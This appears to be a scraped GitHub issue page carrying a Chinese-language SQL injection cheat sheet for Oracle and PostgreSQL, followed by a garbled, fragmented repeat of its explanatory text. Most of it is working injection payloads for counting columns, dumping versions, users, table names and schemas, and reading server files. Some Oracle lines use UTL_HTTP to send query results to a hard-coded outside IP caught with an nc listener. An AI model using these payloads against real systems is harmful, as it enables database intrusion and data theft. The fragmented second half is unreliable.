You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
通常在 URL 后添加 ' and ''||' 1'='1 和 ' and ''||' 1'='2 进行判断
union 手工注入(此处 POST 注入)
判断数据库类型是否 Oracle
and 0<>(select count(*) from dual)
order by 判断字段长度
order by 17
union select 爆显位,由于 Oracle 的字段敏感性,类型必须一一对应,只能提交
union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual
页面返回正常,逐一判断字段,排除,最终提交,爆显位 1,5,9
union select '1','2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
数据库版本
union select '11'||((select banner from sys.v_$version where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
当前连接用户名
union select '11'||((select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
利用 v$logfile 判断操作系统
union select '11'||((select member from v$logfile where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual
// 结果为 H:\ORADATA\SZGOV92\REDO01.LOG 是 windows 系统
表的数量
and (select count (*) from user_tables)=259 and 'kKTd'='kKTd
表名
union select '11'||TABLE_NAME,'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from (select A.*,rownum rn from (select * from USER_TABLES) A where rownum<2) where rn>0
数据数量
union select UNION SELECT '11'||count(*),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from INQUIRY_USER
http://www.xxx.com/1.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select banner from sys.v_$version where rownum=1))=1 and ''||' 1'='1
cmd 上显示返回的目标服务器的数据库版本
提交 URL
http://www.xxx.com/1.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 and ''||' 1'='1
返回数据库名
通过改变 select instance_name from v$instance 可以爆出数据库其他内容
// 爆显位
Content.php?id=1 and 1=2 union select 1,'2','3','4'--
发现正常的页面中出现了 3、4 两处显示位置,将 3、4 替换为其余语句即可进行进一步的注入
获得 Schema 总数
Content.php?id=1 and 1=2 union select 1,'2',count(*)::text,'4' from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--
获得第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称
Content.php?id=1 and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3 limit 1 offset 0--
image.php?id=1 union select 1,'',table_schema::text::bytea from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--
union list 型注入
注入点所在的脚本文件会遍历查询返回的结果集中的每一行,并在将其处理后输出到页面
获得所有 Schema
List.php?type=article' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--
union download 型注入
服务器将上传的文件保存在某个目录下,同时在数据库中保存文件的路径,用户下载文件时服务器脚本根据传递的 id 获取文件路径,读取文件并直接输出到 Response 流
下载 download.php 文件内容
Download.php?id=1 and 1=2 union select '1','/download.php','3'--
无输出显错型注入
前提:服务器脚本可以返回一些数据库错误信息
不能通过闭合语句使用 union 联合查询获得返回结果的注入,如此,必须借助强制类型转换导致的报错来获得信息
111' where id=1;select ('!'||count(*)::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--
报错可以得知 Schema 总数
111' where id=1;select ('!'||table_schema::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x limit 1 offset 0--
0x01 SQL注入
Oracle
Oracle
数据库支持||
来连接字符URL
后添加' and ''||' 1'='1
和' and ''||' 1'='2
进行判断union
手工注入(此处POST
注入)Oracle
order by
判断字段长度union select
爆显位,由于Oracle
的字段敏感性,类型必须一一对应,只能提交v$logfile
判断操作系统union
--UTL-HTTP
反弹注入UTL_HTTP.request()
Oracle
数据库向外发送请求数据,通常在接收端执行nc -lvp 端口号
,可以直接将注入反馈的信息反弹回来,显示在cmd
上UTL_MAIL.request()
UTL_SMTP.request()
UTL_INADDR.request()
等cmd
上输入nc -lvp 2007
URL
cmd
上显示返回的目标服务器的数据库版本URL
select instance_name from v$instance
可以爆出数据库其他内容PostgreSQL
Postgre
返回的错误信息在火狐中会显示不全union select
型注入Postgre
在进行union select
操作时对数据类型是敏感的,如果类型不匹配,则会返回Union 型别 XXX 和 XXX 不符
的错误Unknown
类型可以转换为绝大多数类型,所以可以使用'1','2','3'...
代替1,2,3...
,从而实现自动匹配null
进行匹配,因为有时可能会因此导致缺少一个甚至多个重要的输出位置,用单引号或美元符号引起的字符串作为替代是最好的做法3
、4
两处显示位置,将3
、4
替换为其余语句即可进行进一步的注入Schema
名称,逐渐修改offset
的值即可获取所有的Schema
名称union image
型注入bytea
型数据(类似MSSQL
中的image
类型)bytea
可以看作是字节数组(byte array
),由于Postgre
允许将varchar/text
转换成bytea
,同时也可以自动从Unknown
类型进行转换,所以在实际注入时没有太明显区别Schema
名称,逐渐修改offset
的值即可获取所有的Schema
名称union list
型注入Schema
union download
型注入id
获取文件路径,读取文件并直接输出到Response
流download.php
文件内容union
联合查询获得返回结果的注入,如此,必须借助强制类型转换导致的报错来获得信息Schema
总数Schema
名称,逐渐修改offset
的值即可获取所有的Schema
名称substr
和ascii
截取字符进行比较pg_sleep(int)
Postgre
多行执行会覆盖前一行执行时返回的结果集,导致Web
应用程序会因为不能从结果集中获取结果而出错,所以为了判断前一条语句是否执行,加入延时语句就很有用The text was updated successfully, but these errors were encountered: